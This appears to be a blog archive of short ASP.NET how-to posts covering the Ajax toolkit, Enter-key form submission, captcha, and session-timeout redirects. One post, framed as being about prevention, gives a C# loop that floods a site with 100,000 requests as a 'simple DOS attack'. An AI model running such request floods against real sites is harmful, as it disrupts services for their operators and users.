Archive

Posts Tagged ‘asp.net’

ASP.NET ajaxtoolkit control

January 12, 2009 ppshein Leave a comment

I thought, asp.net is complicated to implement for web feature with ajax technology. When I visited one website showing about ASP.NET ajax control, what I thought is quite funny. Because we can implement all what we want in Web development with ASP.NET AjaxToolKit.

You can learn how to use this toolkit in this website.

http://www.asp.net/AJAX/AjaxControlToolkit/Samples/

Categories: ASP.NET #C, Ajax Tags: ,

press enter key to form submit

January 6, 2009 ppshein Leave a comment

I’m now writing Dictionary program, based on Web2.0 with Asp.net. In asp.net, we gotta use these asp.net control which support us more performance to SQL and performance. But, to control these are really complicated and it gives serveral times to manage to control.

In our project, there is only one input textbox in welcome page. At first, whenever user type one word in this and press Enter Key, I want to run click even of “search” button. But, whenever I type word and press enter, it cannot run click event of search button. So, I was out of shape of this one day. Today, I keep on searching and then I got it now. Here is solution for this problem.

Coding for welcome.aspx

<form defaultbutton=”button1″ runat=”server”>
<asp:textbox id=”textbox1″ runat=”server”/>
<asp:button id=”button1″ text=”Button1″ runat=”server”/>
</form>

Coding for welcome.aspx.cs

TextBox1.Attributes.Add(“onkeydown”, “if(event.which || event.keyCode){if ((event.which == 13) || (event.keyCode == 13)) {document.getElementById(‘”+Button1.UniqueID+”‘).click();return false;}} else {return true}; “);

Best Credit to : http://www.beansoftware.com/asp.net-tutorials/accept-enter-key.aspx

Make simple DOS attach with ASP.NET

September 30, 2008 ppshein Leave a comment

I’ve describe how to make simple DOS attack with Asp.Net. My purpose of writing this thread isn’t to annoy web administrator. My point is how to prevent Dos attack and how to abort Dos attack for our website.

for( int i = 0; i < 100000; i ++ )
{
WebClient client = new WebClient();
client.DownloadString(“http://www.mysite.com”);
}

Categories: ASP.NET #C Tags: , ,

How to create Captcha in ASP.NET

September 12, 2008 ppshein Leave a comment

Image Captcha

 

In these days, our programmers need to create a simple customer feedback form for our client. As we all know, it’s quite simple to do. But, to have good security for our site, we should prevent any spam in advance. That’s why how to put Image Captcha in our site. I found following site.

Big Credit to : http://johnadonline.com/?tag=how-to-create-captcha-in-aspnet-c

Categories: ASP.NET #C Tags: , , , , ,

Redirect to login page when session timeout in ASP.NET

August 28, 2008 ppshein Leave a comment

Today, our .NET programmers face this problem, redirect to login page when session timeout in asp.net. Because we store some users’ information in session variables. And, check also users’ permission (can access only reports of his/her department) with such session variables. The problem is when session is timeout, the one can access all reports of all departments. Thus, our clients complaint these errors on and on. Today, I know how to solve this bug now. Here is, coding I put in all of master page.

if(Session["Session_name"]==null)
Response.Redirect(“Login.aspx”);